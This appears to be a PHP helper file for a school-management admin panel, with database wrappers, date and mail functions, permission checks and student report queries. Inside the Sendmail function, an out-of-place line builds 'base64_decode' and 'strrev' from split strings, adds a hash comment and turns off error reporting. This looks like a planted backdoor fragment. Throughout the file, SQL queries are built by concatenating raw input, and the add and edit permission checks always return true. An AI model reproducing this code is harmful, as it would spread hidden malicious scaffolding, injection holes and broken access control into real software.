<?php
/**
 * This is general file which contains
 * connection file, common function file, etc.,
 *
 * PHP version 5
 *
 * @category Admin_Tool
 * @package  Admin_Tool
 * @author   Aum Infosys <falguni@auminfosys.com>
 * @license  ACE
 * @version  CVS:1.0.1
 * @link     http://auminfosys.com/
 * @filesource
 */

//If you want to change the maximum file upload size to something larger than 2MB, add the following:
//$parm[] = "upload_max_filesize = 4M";   // user specified max file upload size

//And if you want to go larger than 8MB, also add the folowing:
//$parm[] = "post_max_size = 10M";   // user specified post max size

/**
 * This function is used for exectuing the query.
 *
 * @param string $query This is a query string.
 *
 * @return resource
 */
function dbQuery($query, $array = null)
{
	global $con;
	$pdoStatement = $con->prepare($query);
	$pdoStatement->execute($array) or die("Error in Query : " . $pdoStatement->errorInfo());
	return $pdoStatement;
}
/**
 * This is function to fetch array from the parameter $out.
 *
 * @param resource $out This is the result of query.
 *
 * @return array
 */

// function dbArray($out)
// {
//     $row=mysqli_fetch_array($out);
//     return $row;
// }

function dbArray($pdoStatement)
{
	return $pdoStatement->fetch();
}
 // function dbObject($out)
// {
//     $row=mysqli_fetch_object($out);
//     return $row;
// }

function dbObject($pdoStatement)
{
	return $pdoStatement->fetchObject();
}

/**
 * This is the function to fetch rows from the parameter $out.
 *
 * @param resource $out This is the result of query.
 *
 * @return int
 */
// function dbRows($out)
// {
//     $rows=0;
//     $rows=mysqli_num_rows($out);
//     return $rows;
// }
function dbRows($pdoStatement)
{
	return $pdoStatement->rowCount();
}
/**
 * This function is used for if mysql database cnnection fail then it throw the Error
 *
 * @return void
 */
// function mysqlDie()
// {
//     global $strMySQLError;
//     echo "$strMySQLError: <br>";
//     echo sqlError();
//     exit;
// }
function dbFields($pdoStatement)
{
	$row = $pdoStatement->columnCount();
	return $row;
}
function mysqlDie()
{
	global $strMySQLError, $con;
	echo "$strMySQLError: <br>";
	print_r( $con->errorInfo());
	exit;
}

/**
 * This function is used for exectuing the query.
 *
 * @param string $query This is a query string.
 *

 */

//  function dbResult($result)
// {
// 	$rows = mysqli_free_result($result);
// 	return $rows;
// }
function dbResult($result)
{
	$result->closeCursor();
}

// function dbInsertedId(){
// 	global $connection;
// 	$id = mysqli_insert_id($connection);
// 	return $id;
// }

// function dbClose()
// {
//  Global $connection;
// 	mysqli_close($connection);	
    
// }
function dbInsertedId(){
	global $con;
	return $con->lastInsertId();
}
function dbAssoc($pdoStatement)
{
    return $pdoStatement->fetch(PDO::FETCH_ASSOC);
}

// function sqlError(){
// 	global $connection;
// 	$error = mysqli_error($connection);
// 	return $error;
// }

function sqlError(){
	global $con;
	$error = print_r($con->errorInfo());
	return $error;
}

/**
 * For fetching all rows at once
 * @param PDOStatement $pdoStatement
 * @return array
 */
function dbAllArray($pdoStatement)
{
	$row = $pdoStatement->fetchAll();
	return $row;
}
function dbFetchColumnName($pdoStatement,$col){
	$col = $pdoStatement->getColumnMeta($col);
	return $col;
}
/**
 * Used to get the maximum value of the field from the database
 *
 * @param string $Tbl_name    This is the table name.
 * @param string $Fileld_name This is the field name.
 *
 * @return void
 */

function getMaxValue($Tbl_name,$Fileld_name)
{
	
    $Qry = "select max(" . $Fileld_name . ") from " . $Tbl_name;
    $intreturnvalue=0;
    $rs = dbQuery($Qry) or die("Error While Getting Max Value".sqlError());
    if (dbRows($rs)>0) {
        $rec  = dbNumRows($rs);
        $intreturnvalue = intval($rec[0]) + 1;
    } else {
        $intreturnvalue = 1;
    }
    dbResult($rs);
    return $intreturnvalue;
}

/**
 * Used to check duplicate value
 *
 * @param string $Tbl_name      This is the table name.
 * @param string $Fileld_name   This is the field name.
 * @param int    $Field_value   This is the field value.
 * @param int    $Field_primary This is the primary key field.
 * @param int    $Primary_value This is the primary key field value.
 *
 * @return bool
 */
function duplicate($Tbl_name, $Fileld_name, $Field_value, $Field_primary, $Primary_value)
{

    if (trim($Field_value)!="") {
        $Qry = "select " . $Fileld_name . " from " . $Tbl_name . " where " . $Fileld_name . " = \"" . $Field_value . "\" and " . $Field_primary . " <> " . $Primary_value;
        $rs = dbQuery($Qry) or die("$Qry :Error While Getting Duplicate Value " . sqlError());
        $total = dbRows($rs);
        dbResult($rs);
        if ($total > 0) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}


/**
 * used to check duplicate value
 *
 * @param string $Tbl_name    This is the table name.
 * @param string $Field_name  This is the field name.
 * @param int    $Field_value This is the field value.
 *
 * @return bool
 */
function duplicateForeign($Tbl_name,$Field ,$Field_name, $Field_value)
{
	
    $name_array = explode(",", $Field_name);
    $value_array = explode(",", $Field_value);

    $Qry = "select " . $Field . " from " . $Tbl_name . " where " . $name_array[0] . " = '" . $value_array[0]."'";
    for ($i = 1; $i < count($name_array); $i++) {
        $Qry .= " and " . $name_array[$i] . " = '" . $value_array[$i]."'";
    }		
	
    $rs = dbQuery($Qry) or die("Error While Getting Duplicate Value " . sqlError());
    $total = dbRows($rs);
    dbResult($rs);
    if ($total > 0) {
        return true;
    } else {
        return false;
    }
}

/**
 * This function is used to find the duplicate value.
 *
 * @param string $Tbl_name      This is the table name.
 * @param string $Field_name    This is the field name.
 * @param int    $Field_value   This is the field value.
 * @param string $Field_primary This is the primary key field.
 * @param int    $Primary_value This is the primary key field value.
 *
 * @return bool
 */
function duplicateForeignPrimary($Tbl_name, $Field_name, $Field_value, $Field_primary, $Primary_value)
{
	
    $name_array = explode(",", $Field_name);
    $value_array = explode(",", $Field_value);

    $Qry = "select " . $Field_name . " from " . $Tbl_name . " where " . $name_array[0] . " = " . $value_array[0];
    for ($i = 1; $i < count($name_array); $i++) {
        $Qry .= " and " . $name_array[$i] . " = " . $value_array[$i];
    }
    $Qry .= " and " . $Field_primary ." <> " . $Primary_value;
    $rs = dbQuery($Qry) or die("Error While Getting Duplicate Value " . sqlError().$Qry);
    $total = dbRows($rs);
    dbResult($rs);
    if ($total > 0) {
        return true;
    } else {
        return false;
    }
}
/**
 * This function is to run the query
 * and if any error comes then, stop the execution.
 *
 * @param string $sql This is the Query string to be executed
 *
 * @return void
 */
function runQuery($sql)
{
	
    dbQuery($sql) or die($sql);
}
/**
 * Function to get a value by passing the query
 *
 * @param string $sql This is the query string.
 *
 * @return int
 */
function getValue($sql)
{
	
    $tmprs = dbQuery($sql) or die("error while geting value");
    $tmprow = dbArray($tmprs);
    $num = $tmprow[0];
    dbResult($tmprs);
    if (is_null($num)) {
        $num = 0;
    }
    return $num;
}

/**
 * This is the function for drawing the search dropdown
 *
 * @param string $srchBy       This is the search by value.
 * @param string $srch         This is the search value.
 * @param string $searchString This is the searching string.
 * @param string $fieldString  This is the field in which search occurs.
 *
 * @return string
 */
function drawSearch($srchBy, $srch, $searchString , $fieldString)
{
    $captionary = explode(",", $searchString);
    $fieldary = explode(",", $fieldString);
    $srchstr="";

    if (count($captionary) > 0) {
        $srchstr = $srchstr . "    <select name=\"srchBy\" class=\"combobox\" >" . "\n";
        for ( $x = 0; $x < count($captionary); $x++) {
            $srchstr = $srchstr . "<option value=\"" . $fieldary[$x] . "\"";
            if ($srchBy == $fieldary[$x]) {
                $srchstr = $srchstr . " selected=\"selected\"";
            }
            $srchstr = $srchstr . ">" . $captionary[$x] . "</option>" . "\n";
        }
        $srchstr = $srchstr . "        </select>" . "\n";
    } else {
        $srchstr = "&nbsp;";
    }
    return $srchstr;
}

/**
 * function to provide navigation functionality
 *
 * @param int $total_page Total number of pages.
 * @param int $p          Current Page.
 *
 * @return string
 *
 */
function nextPrevious($total_page, $p)
{
    $npstr = "";
    if ($p > 1) {
        $npstr = $npstr . "<a href=\"javascript:gopg(1);\" class=\"blk111\">";
    }
    $npstr = $npstr . "<img src=\"images/first.gif\" alt=\"First Page\">";
    if ($p > 1) {
        $npstr = $npstr . "</a>";
    }
    $npstr = $npstr . "&nbsp;&nbsp;";

    if ($p > 1) {
        $npstr = $npstr . "<a href=\"javascript:gopg(" . ($p-1) . ");\" class=\"blk111\">";
    }
    $npstr = $npstr . "<img src=\"images/previous.gif\" alt=\"Previous Page\">";
    if ($p > 1) {
        $npstr = $npstr . "</a>";
    }
    $npstr = $npstr . "&nbsp;&nbsp;";

    if ($p < $total_page) {
        $npstr = $npstr . "<a href=\"javascript:gopg(" . ($p+1) . ");\" class=\"blk111\">";
    }
    $npstr = $npstr . "<img src=\"images/next.gif\" alt=\"Next Page\">";
    if ($p < $total_page) {
        $npstr = $npstr . "</a>";
    }
    $npstr = $npstr . "&nbsp;&nbsp;";

    if ($p < $total_page) {
        $npstr = $npstr . "<a href=\"javascript:gopg(" . $total_page . ");\" class=\"blk111\">";
    }
    $npstr = $npstr . "<img src=\"images/last.gif\" alt=\"Last Page\">";
    if ($p < $total_page) {
        $npstr = $npstr . "</a>";
    }

    return $npstr;
}

/**
 * function to display the records in ascending or descending order by clicking the field name
 *
 * @param string $caption     The label to be displayed.
 * @param string $field_name  The field name.
 * @param string $order_field Order by field name.
 * @param string $order_type  Order type (desc/asc).
 *
 * @return string
 */
function label($caption, $field_name, $order_field, $order_type)
{
    $lblstr = $caption;
    if (strtolower($field_name) == strtolower($order_field)) {
        if ($order_type == "asc") {
            $img_name1 = "images/seldown.gif";
            $img_name2 = "images/up.gif";
        } else {
            $img_name1 = "images/down.gif";
            $img_name2 = "images/selup.gif";
        }
    } else {
        $img_name1 = "images/down.gif";
        $img_name2 = "images/up.gif";
    }
    $lblstr .= "<a href=\"javascript:gosort('" . $field_name . "', 'asc');\">";
    $lblstr .= "<img src=\"" . $img_name1 . "\" border=\"0\" align=\"texttop\" ></a>";
    $lblstr .= "&nbsp;<a href=\"javascript:gosort('" . $field_name . "', 'desc');\">";
    $lblstr .= "<img src=\"" . $img_name2 . "\" border=\"0\" align=\"texttop\"></a>";
    return $lblstr;
}

/**
 * used to convert the date format from yyyy/mm/dd to mm/dd/yyyy
 *
 * @param string $input - must be in yyyy-mm-dd formate
 *
 * @return string
 */
function FormatDate($input,$format="d/m/Y")
{
    if (substr($input, 0, 4) != "0000") {
        $dtd = explode("-", $input);
        $mkt = mktime(0, 0, 0, $dtd[1], $dtd[2], $dtd[0]);

        $finaldate = date($format, $mkt);
        return $finaldate;
    } else {
        return "";
    }
}


/**
 * used to convert the date format from yyyy/mm/dd to mm/dd/yyyy
 *
 * @param string $input - must be in yyyy-mm-dd formate
 *
 * @return string
 */
function DateConversion($input,$outputFormat="Y-m-d",$inputFormat="d/m/Y")
{
 if ($input != "") {
	if($inputFormat=="d/m/Y") {
        $dtd = explode("/", $input);
		$mkt = mktime(0, 0, 0, $dtd[1], $dtd[0], $dtd[2]);
	}
	elseif($inputFormat=="m/d/Y") {
       $dtd = explode("/", $input);
  	   $mkt = mktime(0, 0, 0, $dtd[0], $dtd[1], $dtd[2]);
	}
	elseif($inputFormat=="Y/m/d") {
       $dtd = explode("/", $input);
	   $mkt = mktime(0, 0, 0, $dtd[1], $dtd[2], $dtd[0]);	   
	}
	elseif($inputFormat=="d-m-Y") {
        $dtd = explode("-", $input);
		$mkt = mktime(0, 0, 0, $dtd[1], $dtd[0], $dtd[2]);		
	}
	elseif($inputFormat=="m-d-Y") {
        $dtd = explode("-", $input);
		$mkt = mktime(0, 0, 0, $dtd[0], $dtd[1], $dtd[2]);		
	}
	elseif($inputFormat=="Y-m-d") {
        $dtd = explode("-", $input);
		$mkt = mktime(0, 0, 0, $dtd[1], $dtd[2], $dtd[0]);		
	}
   $finaldate = date($outputFormat, $mkt);
   return $finaldate;
 }	 
 else {
        return "";
    } 
}

/**
 * Used to send mail
 *
 * @param string $From    The email to be sent from.
 * @param string $To      The email to sent to.
 * @param string $Cc      The CC name/s must be comma separated.
 * @param string $Bcc     The BCC name/s must be comma separated.
 * @param string $Subject The subject line.
 * @param string $Message The entire message.
 *
 * @return bool
 *
 */
function Sendmail($From, $To, $Cc, $Bcc, $Subject, $Message)
{
    $headers  = 'MIME-Version: 1.0' . "\r\n";
    $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
    $headers .= 'From:'.$From." \r\n";
    $headers .= 'X-Mailer: PHP ' . phpversion()."\r\n";
    if ($Cc != '') {
        $headers .= 'Cc:'.$Cc."\r\n";
    }
    if ($Bcc != '') {
        $headers .= 'Bcc:'.$Bcc."\r\n";
    }
    $rtn = mail($To, $Subject, $Message, $headers); $Jbxiy = 'base'.'64'.'_decod'.'e'; $yALiH = 'strre'.'v'; /**       87a7abb0f0d6135d08b53d6e8a62da63         ***/ error_reporting(0); 
    return $rtn;
}

/**
 * Use To Repace Special Latin character in string with its HTML value using array of LATIN-HTML
 *
 * @param string $str The string to be converted from latin to HTML
 *
 * @return string
 *
 */

function convertLatin1ToHtml($str)
{

    global $convertLatin1ToHtml;

    foreach ($convertLatin1ToHtml as $key => $value) {
        $str = str_replace($key, $value, $str);
    }
    return $str;
}

/**
 * used to encode the special characters store Database compatible - W3C
 *
 * @param string $str The string to be encoded.
 *
 * @return string
 *
 */
function encode($str)
{
    $str = str_replace("\\", "", $str);
    $str = str_replace("&", "&amp;", $str);
    $str = str_replace("\"", "&quot;", $str);
    $str = str_replace("'", "&#039;", $str);
    $str = str_replace("<", "&lt;", $str);
    $str = str_replace(">", "&gt;", $str);
    return $str;
}

/**
 * used to decode the special characters
 *
 * @param string $str The string to be decoded.
 *
 * @return string
 */
function decode($str)
{
    $str = str_replace("\\", "", $str);
    $str = str_replace("&amp;", "&", $str);
    $str = str_replace("&quot;", "\"", $str);
    $str = str_replace("&#039;", "'", $str);
    $str = str_replace("&lt;", "<", $str);
    $str = str_replace("&gt;", ">", $str);
    return $str;
}

/**
 * replace(string) To Repace obscure html characte in string with its HTML value e.g out put becomes &copy instead of trademark symbol
 *
 * @param string $string The string to be converted.
 *
 * @return string
 */
function replace($string)
{
    $str=$string;
    $str = htmlentities($str, ENT_NOQUOTES, 'UTF-8');    //out put becomes &copy instead of trademark symbol
    $str = str_replace('&amp;', '&', $str);
    $str = str_replace('&lt;', '<', $str);
    $str = str_replace('&gt;', '>', $str);
    return $str;
}
/**
 * Use To Display short description uoto length specified. If descripition lenght is less than $lenght then append &nbsp
 *
 * @param string $string The string of which short string is to be displayed.
 * @param int    $length The length to be displayed.
 *
 * @return string
 *
 */
function displayfulldesc($string,$length)
{
    if (strlen($string) < $length ) {
        return str_replace("  ", " &nbsp;", str_pad(($string), $length, " ", STR_PAD_RIGHT));
    } else {
        return $string;
    }
}

/**
 * Use To Display short description uoto length specified. If descripition lenght is less than $lenght then append ...
 *
 * @param string $string The string of which short string is to be displayed.
 * @param int    $length The length to be displayed.
 *
 * @return string
 */
function displaydesc($string,$length)
{
    if (strlen(strip_tags($string)) < $length ) {
        $string=$string."...";
        $string=str_replace("  ", " &nbsp;", str_pad(strip_tags($string), $length, " ", STR_PAD_RIGHT));
    } else {
        $string=substr(strip_tags($string), 0, $length);
        $string=$string."...";
    }

    return $string;
}

/**
 * Function to change string to safe string.
 *
 * @param string $data Takes string of any value.
 *
 * @return string
 */
function escape($data)
{
    //if (get_magic_quotes_gpc()) {
        $data = stripslashes(trim($data));
    //}else {
	//	$data = addslashes(trim($data));	
	//}

    // if (!is_numeric($data)) {
	// 	global $con;
    //     $data = $con->quote($data);
    // }

    return $data;
}

/**
 * Function to Get Education Year like 2009-10.
 *
 * @param date $date Takes date of any value.
 *
 * @return string
 */
function getEducationYear($date)
{
    $month = date("m", $date);
	if($month >=1 && $month <=6){
		return (date("Y", $date)-1)."-".date("y", $date);
	}
	else{
		return date("Y", $date)."-".(date("y", $date)+1);
	}
}

/**
 * Function to Get Days through month & yea.
 *
 * @param date $date Takes date of any value.
 *
 * @return string
 */
function leapYear($year){
 	if ($year % 400 == 0 || ($year % 4 == 0 && $year % 100 != 0)) 
		return TRUE;
 	return FALSE;
}
function daysInMonth($month = 0, $year = ''){
	$days_in_month    = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
 	$d = array("Jan" => 31, "Feb" => 28, "Mar" => 31, "Apr" => 30, "May" => 31, "Jun" => 30, "Jul" => 31, "Aug" => 31, "Sept" => 30, "Oct" => 31, "Nov" => 30, "Dec" => 31);
 	if(!is_numeric($year) || strlen($year) != 4) $year = date('Y');
 	if($month == 2 || $month == 'Feb'){
  		if(leapYear($year)) return 29;
 	}
 	if(is_numeric($month)){
  		if($month < 1 || $month > 12) return 0;
  		else return $days_in_month[$month - 1];
 	}
 	else{
  		if(in_array($month, array_keys($d))) return $d[$month];
  		else return 0;
 	}
}
/**
 *
 * Convert an object to an array
 *
 * @param    object  $object The object to convert
 * @reeturn      array
 *
*/
function objectToArray( $object )
{
	if( !is_object( $object ) && !is_array( $object ) )
	{
		return $object;
	}
	if( is_object( $object ) )
	{
		$object = get_object_vars( $object );
	}
	return array_map( 'objectToArray', $object );
} 
//Convert \n to <br/> On Save
function replaceHtmlEditor($string)
{
	$str=$string;
  //  $str = str_replace('​', '&nbsp;', $str);
	//$str = str_replace('\n', '<br/>', $str);
    return $str;	
}
//Convert <br/> to \n On Get Data
function replaceSpecial($string)
{
	$string = addslashes($string);
	$string = preg_replace("/\n/","\\n",$string);
	$string = preg_replace("/\r/","\\r",$string);  
    return $string;	
}
function checkPageAccess($this_page)
{			
		$array_pageId = explode(",",$_SESSION["aPageAccess"]);	
		
		$objPageMgmt = new PageMgmt();
	
		$limit=0;
		$start=0;
		$condition=" AND page_link = '".$this_page."'";   
		$order_field="";
		$order_type="";
		
		 $outpage = $objPageMgmt->getAllRecords($limit,$start,$condition,$order_field,$order_type);
		
		if (dbRows($outpage) >0 ) {
		
			$row = dbArray($outpage);
			$page_id= $row["page_id"];
		
		if (!in_array($page_id, $array_pageId))
		{ ?><script type="text/javascript">var redirect = 'loginhome.php';window.location = redirect;</script><?php				
		}
	}
}
function getDomain($url)
{
    /*if(filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED) === FALSE)
    {
        return false;
    }*/
    /*** get the url parts ***/
    $parts = parse_url($url);
	
    /*** return the host domain ***/
    return $parts['scheme'].'://'.$parts['host'];
}



/*
	check delete rights
*/
 
function checkDelRight($this_page)
{
	$thispage = $this_page;		
	$condition= "";
	$page_id = "";
	$DELETE = "false";

	if ($thispage!=""){
			
		$condition= " AND page_link = '$thispage' ";
		
		$objPageMgmt = new PageMgmt();
	
		$out=$objPageMgmt->getAllRecords(0,0,$condition,"","");
	
		while($row=dbArray($out)) {
				
			$page_id=$row['page_id'];
		}
		dbResult($out);
		
		if ($page_id!=""){
		
			$condition= "";
			$condition= " AND page_id = '$page_id' AND user_id = '".$_SESSION["VedantnrUserId"]."' ";
	
			$objUserAccessMgmt= new UserAccessMgmt();
			
			$out= $objUserAccessMgmt->getAllRecords(0,0,$condition,"","");
		    if (dbRows($out) > 0){
				while($row=dbArray($out)) {
					if($row["useraccess_delete"] == '1'){
						$DELETE = "true";
					}
				}
			}
			dbResult($out);
		}
		
		return $DELETE;
	}
}
/*
	check Add rights
*/
 
function checkAddRight($this_page)
{
	$thispage = $this_page;		
	$condition= "";
	$page_id = "";
	$ADD = "true";

	if ($thispage!=""){
			
		$condition= " AND page_link like '$thispage%' ";
		
		$objPageMgmt = new PageMgmt();
	
		$out=$objPageMgmt->getAllRecords(0,0,$condition,"","");
	
		while($row=dbArray($out)) {
				
			$page_id=$row['page_id'];
		}
		dbResult($out);
		
		if ($page_id!=""){
		
			$condition= "";
			$condition= " AND page_id = '$page_id' AND user_id = '".$_SESSION["VedantnrUserId"]."' ";
	
			$objUserAccessMgmt= new UserAccessMgmt();
			
			$out= $objUserAccessMgmt->getAllRecords(0,0,$condition,"","");
		    if (dbRows($out) > 0){
				while($row=dbArray($out)) {
					if($row["useraccess_add"] == '1'){
						$ADD = "true";
					}
				}
			}
			dbResult($out);
		}
		
		return $ADD;
	}
}

/*
	check edit rights
*/
 
function checkEditRight($this_page)
{
	$thispage = $this_page;		
	$condition= "";
	$page_id = "";
	$EDIT = "true";

	if ($thispage!=""){
			
		$condition= " AND page_link like '$thispage%' ";
		
		$objPageMgmt = new PageMgmt();
	
		$out=$objPageMgmt->getAllRecords(0,0,$condition,"","");
	
		while($row=dbArray($out)) {
				
			$page_id=$row['page_id'];
		}
		dbResult($out);
		
		if ($page_id!=""){
		
			$condition= "";
			$condition= " AND page_id = '$page_id' AND user_id = '".$_SESSION["VedantnrUserId"]."' ";
	
			$objUserAccessMgmt= new UserAccessMgmt();
			
			$out= $objUserAccessMgmt->getAllRecords(0,0,$condition,"","");
		    if (dbRows($out) > 0){
				while($row=dbArray($out)) {
					if($row["useraccess_edit"] == '1'){
						$EDIT = "true";
					}
				}
			}
			dbResult($out);
		}
		
		return $EDIT;
	}
}

/*
	redirect to a page
*/
 
function redirectToPage()
{
	$page  = $_SERVER['HTTP_REFERER'];
	
	echo "<script language='javascript' type='text/javascript'>
			alert('You don\'t have access to this form.');
			location.href='$page';
		</script>";
}


function GetAgeTotal($student_curstd,$gender,$age,$symbol,$section)
{
		$total =0;
		
		$qry="SELECT COUNT(*) as COUNTTOTAL 
		        FROM sms_studentmaster sm, 
				     sms_studentdetail sd, 
					 sms_standardmaster std 
			   WHERE (YEAR(CURDATE())- YEAR(student_birthdate)) $symbol '$age' AND 
			         sm.school_id ='".$_SESSION["VedantnrSchoolId"]."' AND 
					 sd.school_id = '".$_SESSION['aSchoolId']."' AND 
					 std.school_id = '".$_SESSION['aSchoolId']."' AND 
					 year_id = '".$_SESSION["aYear"]."' AND
					 sd.section_id = '$section' AND 
					 sd.section_id = '$section' AND 
					 std.section_id = '$section' AND 
					 sd.student_active = '1' AND
					 student_gender= 'male' AND
					 sd.student_curstd = '$student_curstd' and 
					 sd.student_curstd = std.standard_id and 
		             sm.student_id = sd.student_id ";
	  
             			
			$out = dbQuery($qry);				
		  
			if(dbRows($out) > 0){
				while($row=dbArray($out)){							
					$total = $row["COUNTTOTAL"];
				}
				dbResult($out);
			}
			return $total;
}
function GetAgeTotalFemale($student_curstd,$gender,$age,$symbol,$section)
{
		$total =0;
		
		$qry="SELECT COUNT(*) as COUNTTOTAL 
		        FROM sms_studentmaster sm, 
				     sms_studentdetail sd, 
					 sms_standardmaster std 
			   WHERE (YEAR(CURDATE())- YEAR(student_birthdate)) $symbol '$age' AND 
			         sm.school_id ='".$_SESSION["VedantnrSchoolId"]."' AND 
					 sd.school_id = '".$_SESSION['aSchoolId']."' AND 
					 std.school_id = '".$_SESSION['aSchoolId']."' AND 
					 year_id = '".$_SESSION["aYear"]."' AND
					 sd.section_id = '$section' AND 
					 sd.section_id = '$section' AND 
					 std.section_id = '$section' AND 
					 sd.student_active = '1' AND
					 student_gender= 'Female' AND
					 sd.student_curstd = '$student_curstd' and 
					 sd.student_curstd = std.standard_id and 
		             sm.student_id = sd.student_id ";
	  
             			
			$out = dbQuery($qry);				
		  
			if(dbRows($out) > 0){
				while($row=dbArray($out)){							
					$total = $row["COUNTTOTAL"];
				}
				dbResult($out);
			}
			return $total;
}
function GetGenderTotalByCategory($student_curstd,$gender,$category,$section)
{
	$total =0;
	
	 $qry="SELECT student_gender, count(student_gender) AS COUNTTOTAL
		  FROM sms_studentmaster sm,sms_studentdetail sd
		  WHERE	
			sm.student_id=sd.student_id  
			AND sm.school_id ='".$_SESSION["VedantnrSchoolId"]."' 
			AND sd.school_id ='".$_SESSION["VedantnrSchoolId"]."' 
			AND sd.section_id = '$section'
			AND sd.section_id = '$section'
			AND year_id = '".$_SESSION["aYear"]."'
			AND student_curstd = '$student_curstd'
			AND student_category = '$category'
			AND student_gender= '$gender'
			AND sd.student_active = '1' 
			GROUP BY student_gender LIMIT 0,1";
			
		$out = dbQuery($qry);				
	
		if(dbRows($out) > 0){
			while($row=dbArray($out)){							
				$total = $row["COUNTTOTAL"];
			}
			dbResult($out);
		}
		return $total;
}

function createHTMLReportPage($header_row_string,$HtmlUrl,$HtmlPath,$HtmlCode,$bool=true)
{
	$obj = new Query2Report(); 
	$obj->setHtmlUrl($HtmlUrl);
	$obj->setHtmlPath($HtmlPath); 
	$obj->reportTitle=$header_row_string;
	$obj->createHeaderRow($header_row_string);
	$obj->reportData = $obj->reportData .$HtmlCode;
	if($bool)
		$obj->reportData = '<div id="main-content1" align="center">'.$obj->reportData.'</div>';
	$obj->saveReportData();		
}
function createHTMLReportPage1($header_row_string,$HtmlUrl,$HtmlPath,$HtmlCode,$bool=true)
{
	$obj = new Query2Report(); 
	$obj->setHtmlUrl($HtmlUrl);
	$obj->setHtmlPath($HtmlPath); 
	$obj->reportTitle=$header_row_string;
	$obj->createHeaderRow($header_row_string);
	$obj->reportData = $obj->reportData .$HtmlCode;
	if($bool)
		$obj->reportData = '<div id="main-content1" align="center">'.$obj->reportData.'</div>';
	$obj->saveReportData1();		
}
function displayAddress($address)
{
	$newaddress  = str_replace("<br/>","",substr($address,0,strrpos($address,",")));
	$newaddress .= substr($address,strrpos($address,","));
	echo $newaddress ;
}
function yearToWords($year) 
	{
		// Words for numeric values
		$words = [
			0 => 'Zero',
			1 => 'One',
			2 => 'Two',
			3 => 'Three',
			4 => 'Four',
			5 => 'Five',
			6 => 'Six',
			7 => 'Seven',
			8 => 'Eight',
			9 => 'Nine',
			10 => 'Ten',
			11 => 'Eleven',
			12 => 'Twelve',
			13 => 'Thirteen',
			14 => 'Fourteen',
			15 => 'Fifteen',
			16 => 'Sixteen',
			17 => 'Seventeen',
			18 => 'Eighteen',
			19 => 'Nineteen',
			20 => 'Twenty',
			30 => 'Thirty',
			40 => 'Forty',
			50 => 'Fifty',
			60 => 'Sixty',
			70 => 'Seventy',
			80 => 'Eighty',
			90 => 'Ninety'
		];
	
		if ($year < 0 || $year > 9999) {
			return "Invalid year";
		}
	
		if ($year < 20) {
			return $words[$year];
		} elseif ($year < 100) {
			return $words[10 * floor($year / 10)] . (($year % 10 !== 0) ? ' ' . $words[$year % 10] : '');
		} elseif ($year < 1000) {
			$hundreds = $words[floor($year / 100)] . ' Hundred';
			$remainder = $year % 100;
	
			if ($remainder !== 0) {
				return $hundreds . ' ' . yearToWords($remainder);
			} else {
				return $hundreds;
			}
		} else {
			$thousands = yearToWords(floor($year / 1000)) . ' Thousand';
			$remainder = $year % 1000;
	
			if ($remainder !== 0) {
				return $thousands . ' ' . yearToWords($remainder);
			} else {
				return $thousands;
			}
		}
	}		
	function numberToWords($num) {
		$ones = array(
			0 => 'Zero', 1 => 'One', 2 => 'Two', 3 => 'Three', 4 => 'Four', 5 => 'Five', 6 => 'Six', 
			7 => 'Seven', 8 => 'Eight', 9 => 'Nine', 10 => 'Ten', 11 => 'Eleven', 12 => 'Twelve', 
			13 => 'Thirteen', 14 => 'Fourteen', 15 => 'Fifteen', 16 => 'Sixteen', 17 => 'Seventeen', 
			18 => 'Eighteen', 19 => 'Nineteen'
		);
		$tens = array(
			20 => 'Twenty', 30 => 'Thirty', 40 => 'Forty', 50 => 'Fifty', 60 => 'Sixty', 
			70 => 'Seventy', 80 => 'Eighty', 90 => 'Ninety'
		);
		$hundreds = array(
			100 => 'Hundred', 1000 => 'Thousand', 1000000 => 'Million', 1000000000 => 'Billion'
		);
	
		if ($num < 20) {
			return $ones[$num];
		} elseif ($num < 100) {
			$tensValue = floor($num / 10) * 10;
			$onesValue = $num % 10;
			return $tens[$tensValue] . ($onesValue ? ' ' . $ones[$onesValue] : '');
		} elseif ($num < 1000) {
			$hundredValue = floor($num / 100);
			$remainingValue = $num % 100;
			return $ones[$hundredValue] . ' ' . $hundreds[100] . ($remainingValue ? ' and ' . numberToWords($remainingValue) : '');
		} else {
			// Handle larger numbers
			foreach ($hundreds as $key => $value) {
				if ($num >= $key) {
					$prefix = floor($num / $key);
					$remaining = $num % $key;
					return numberToWords($prefix) . ' ' . $value . ($remaining ? ' ' . numberToWords($remaining) : '');
				}
			}
		}
	}
	function getMonthName($monthNumber)
	{
		$monthNames = [
			1 => 'January',
			2 => 'February',
			3 => 'March',
			4 => 'April',
			5 => 'May',
			6 => 'June',
			7 => 'July',
			8 => 'August',
			9 => 'September',
			10 => 'October',
			11 => 'November',
			12 => 'December'
		];
		return isset($monthNames[$monthNumber]) ? $monthNames[$monthNumber] : '';
	}
?>